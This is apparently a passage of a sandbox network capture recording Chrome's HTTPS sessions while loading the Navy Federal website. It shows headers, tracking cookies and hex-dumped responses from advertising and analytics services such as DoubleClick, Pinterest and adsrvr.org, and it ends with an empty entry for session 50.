2024-05-24 22:46:00 UTC	984	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:00 GMT Expires: Fri, 24 May 2024 22:46:00 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; expires=Sun, 24-May-2026 22:46:00 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:00 UTC	406	IN	Data Raw: 36 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 62 74 74 72 61 63 6b 2e 63 6f 6d 2f 6a 73 2f 31 35 36 35 34 2f 61 6e 61 6c 79 74 69 63 73 2f 31 2e 30 2f 61 6e 61 6c Data Ascii: 6e0<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><script async src="https://cdn.bttrack.com/js/15654/analytics/1.0/anal
2024-05-24 22:46:00 UTC	1361	IN	Data Raw: 75 5d 3d 6e 65 77 20 55 45 54 28 6f 29 2c 77 5b 75 5d 2e 70 75 73 68 28 22 70 61 67 65 4c 6f 61 64 22 29 7d 2c 6e 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 74 29 2c 6e 2e 73 72 63 3d 72 2c 6e 2e 61 73 79 6e 63 3d 31 2c 6e 2e 6f 6e 6c 6f 61 64 3d 6e 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 3d 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 3b 73 26 26 73 21 3d 3d 22 6c 6f 61 64 65 64 22 26 26 73 21 3d 3d 22 63 6f 6d 70 6c 65 74 65 22 7c 7c 28 66 28 29 2c 6e 2e 6f 6e 6c 6f 61 64 3d 6e 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 6e 75 6c 6c 29 7d 2c 69 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 74 29 5b 30 5d 2c 69 2e 70 61 72 65 6e 74 4e 6f Data Ascii: u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!=="loaded"&&s!=="complete"\|\|(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNo
2024-05-24 22:46:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49876	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	957	OUT	GET /ddm/activity/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnlUhvdgzTfGFaagIdXpVTk2rsMHclS3a78KBF_JH5EMjaz13u7tXLxYkKT7-8
2024-05-24 22:46:01 UTC	15895	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Location: https://ad.doubleclick.net/ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiAxMTM4MTE1NDUyNjIwNDA4ODI2MwpjdGNfY29udmVyc2lvbl9idWNrZXQ6IDIKYXJjaGV0eXBlX2lkOiAxMgphcmNoZXR5cGVfaWQ6IDEzCmFyY2hldHlwZV9pZDogMTQKYXJjaGV0eXBlX2lkOiAxNQphcmNoZXR5cGVfaWQ6IDE2CmFyY2hldHlwZV9pZDogMTcKYXJjaGV0eXBlX2lkOiAxOAphcmNoZXR5cGVfaWQ6IDE5CmFyY2hldHlwZV9pZDogMjAKYXJjaGV0eXBlX2lkOiAyMQphcmNoZXR5cGVfaWQ6IDYyODcyODM4OAphcmNoZXR5cGVfaWQ6IDYyODcyODM4OQphcmNoZXR5cGVfaWQ6IDYyODcyODM5MAphcmNoZXR5cGVfaWQ6IDYyODcyODM5MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MAphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MgphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MgphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NAphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NQphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOAphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOQphcmNoZXR5cGVfaWQ6IDYyODc5MDYxMAphc [TRUNCATED] Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"10152961480738975038"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:00 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49878	142.250.186.34	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	1065	OUT	GET /ddm/fls/z/dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49873	18.244.179.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	686	OUT	GET /i/pp.html HTTP/1.1 Host: cdn.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	575	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 27815 Connection: close Date: Fri, 24 May 2024 22:46:02 GMT Last-Modified: Thu, 14 Sep 2023 05:14:02 GMT ETag: "42cd931d2ed328507a1cdcac1f9ad22c" x-amz-server-side-encryption: AES256 x-amz-version-id: 8EtDf7UTJZAXl5_xau4WF2ixg7MERmyB Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 145b68c3ecd24e322402424a1db81138.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR61-P7 X-Amz-Cf-Id: l2m5S1K80qLBRkY6w4R9lgITllLl3SEUmFXRcxAIEHwRDTnI9UAm-w== Vary: Origin
2024-05-24 22:46:01 UTC	15809	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 72 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 65 2c 72 2e 63 3d 74 2c 72 2e 64 3d 66 Data Ascii: <!doctype html><html lang="en"><head> <meta charset="UTF-8" /> <script> !function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=e,r.c=t,r.d=f
2024-05-24 22:46:01 UTC	1601	IN	Data Raw: 66 61 75 6c 74 2e 67 65 74 46 69 72 73 74 4d 61 74 63 68 28 2f 28 3f 3a 75 63 62 72 6f 77 73 65 72 29 5b 5c 73 2f 5d 28 5c 64 2b 28 5c 2e 3f 5f 3f 5c 64 2b 29 2b 29 2f 69 2c 65 29 3b 72 65 74 75 72 6e 20 72 26 26 28 74 2e 76 65 72 73 69 6f 6e 3d 72 29 2c 74 7d 7d 2c 7b 74 65 73 74 3a 5b 2f 4d 61 78 74 68 6f 6e 7c 6d 78 69 6f 73 2f 69 5d 2c 64 65 73 63 72 69 62 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 6e 61 6d 65 3a 22 4d 61 78 74 68 6f 6e 22 7d 2c 72 3d 69 2e 64 65 66 61 75 6c 74 2e 67 65 74 46 69 72 73 74 4d 61 74 63 68 28 73 2c 65 29 7c 7c 69 2e 64 65 66 61 75 6c 74 2e 67 65 74 46 69 72 73 74 4d 61 74 63 68 28 2f 28 3f 3a 4d 61 78 74 68 6f 6e 7c 6d 78 69 6f 73 29 5b 5c 73 2f 5d 28 5c 64 2b 28 5c 2e 3f 5f 3f 5c 64 2b 29 2b 29 2f 69 Data Ascii: fault.getFirstMatch(/(?:ucbrowser)[\s/](\d+(\.?_?\d+)+)/i,e);return r&&(t.version=r),t}},{test:[/Maxthon\|mxios/i],describe:function(e){var t={name:"Maxthon"},r=i.default.getFirstMatch(s,e)\|\|i.default.getFirstMatch(/(?:Maxthon\|mxios)[\s/](\d+(\.?_?\d+)+)/i
2024-05-24 22:46:01 UTC	10405	IN	Data Raw: 29 28 5c 64 2b 28 5c 2e 3f 5f 3f 5c 64 2b 29 2b 29 2f 69 2c 65 29 3b 72 65 74 75 72 6e 20 72 26 26 28 74 2e 76 65 72 73 69 6f 6e 3d 72 29 2c 74 7d 7d 2c 7b 74 65 73 74 3a 5b 2f 5c 73 65 64 67 5c 2f 2f 69 5d 2c 64 65 73 63 72 69 62 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 6e 61 6d 65 3a 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 7d 2c 72 3d 69 2e 64 65 66 61 75 6c 74 2e 67 65 74 46 69 72 73 74 4d 61 74 63 68 28 2f 5c 73 65 64 67 5c 2f 28 5c 64 2b 28 5c 2e 3f 5f 3f 5c 64 2b 29 2b 29 2f 69 2c 65 29 3b 72 65 74 75 72 6e 20 72 26 26 28 74 2e 76 65 72 73 69 6f 6e 3d 72 29 2c 74 7d 7d 2c 7b 74 65 73 74 3a 5b 2f 65 64 67 28 5b 65 61 5d 7c 69 6f 73 29 2f 69 5d 2c 64 65 73 63 72 69 62 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 Data Ascii: )(\d+(\.?_?\d+)+)/i,e);return r&&(t.version=r),t}},{test:[/\sedg\//i],describe:function(e){var t={name:"Microsoft Edge"},r=i.default.getFirstMatch(/\sedg\/(\d+(\.?_?\d+)+)/i,e);return r&&(t.version=r),t}},{test:[/edg([ea]\|ios)/i],describe:function(e){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49872	216.239.36.54	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	560	OUT	OPTIONS /pdst-events-prod-sink HTTP/1.1 Host: us-central1-adaptive-growth.cloudfunctions.net Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://www.navyfederal.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:00 UTC	435	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Accept Access-Control-Allow-Methods: GET, POST Content-Type: text/html; charset=utf-8 Function-Execution-Id: m20hqpjti6mr X-Cloud-Trace-Context: 97eb58f88246e8bb29e7ed70f97b4527 Date: Fri, 24 May 2024 22:46:00 GMT Server: Google Frontend Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:00 UTC	2	IN	Data Raw: 3c 33 Data Ascii: <3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49877	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	630	OUT	GET /track/pxl/?adv=pcl8biy&ct=0:3qygypv&fmt=3 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:00 UTC	642	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:00 GMT Content-Length: 0 Connection: close server: Kestrel location: https://dpm.demdex.net/ibs:dpid=903&dpuuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Daam set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRgFKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIDYWFt; expires=Sat, 24 May 2025 22:46:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49880	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	619	OUT	GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:00 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:00 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZ4VkpGcGhSanNzU3djQ3NVUW5velN5aGFLQWFvOUlnemR3T2lNeGNubHJxTzRpMFJ5bkpmWmlYcHkyS1plL0VPeitKZnR4ay8wS09sRW5obnNFd2JpcGtvdFJpOXFCQkkvV21EQlNKeXM5cz0mOWhTR2dwbGhpU25hcmpWWWdyS1RKQXlDMm1RPQ=="; Expires=Sat, 24 May 2025 22:46:00 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 0 referrer-policy: origin x-pinterest-rid: 6287235708402506 Date: Fri, 24 May 2024 22:46:00 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:00 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49879	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	634	OUT	GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:00 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:00 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZ1d2ozeHFNMjhYaTcyMXN3eFJFbHdzZ1VvaCt5UzFWczA4c3BIcjh5ZHpmUmlEWXFZdzhGWEVkNGxCOUhaYWdieE9sNDZkODhKcGxKdTFrVkRLdnRrMWtkYkQ1WkQ4NDI1UkRmdjE2UnIxTT0mMWhscGEzTloyMDMvSndQd2xPRGxsb2FyS3JJPQ=="; Expires=Sat, 24 May 2025 22:46:00 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 1 referrer-policy: origin x-pinterest-rid: 4341163039300402 Date: Fri, 24 May 2024 22:46:00 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:00 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49882	142.250.186.34	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	1076	OUT	GET /ddm/fls/z/dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://2992003.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49875	54.88.101.193	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
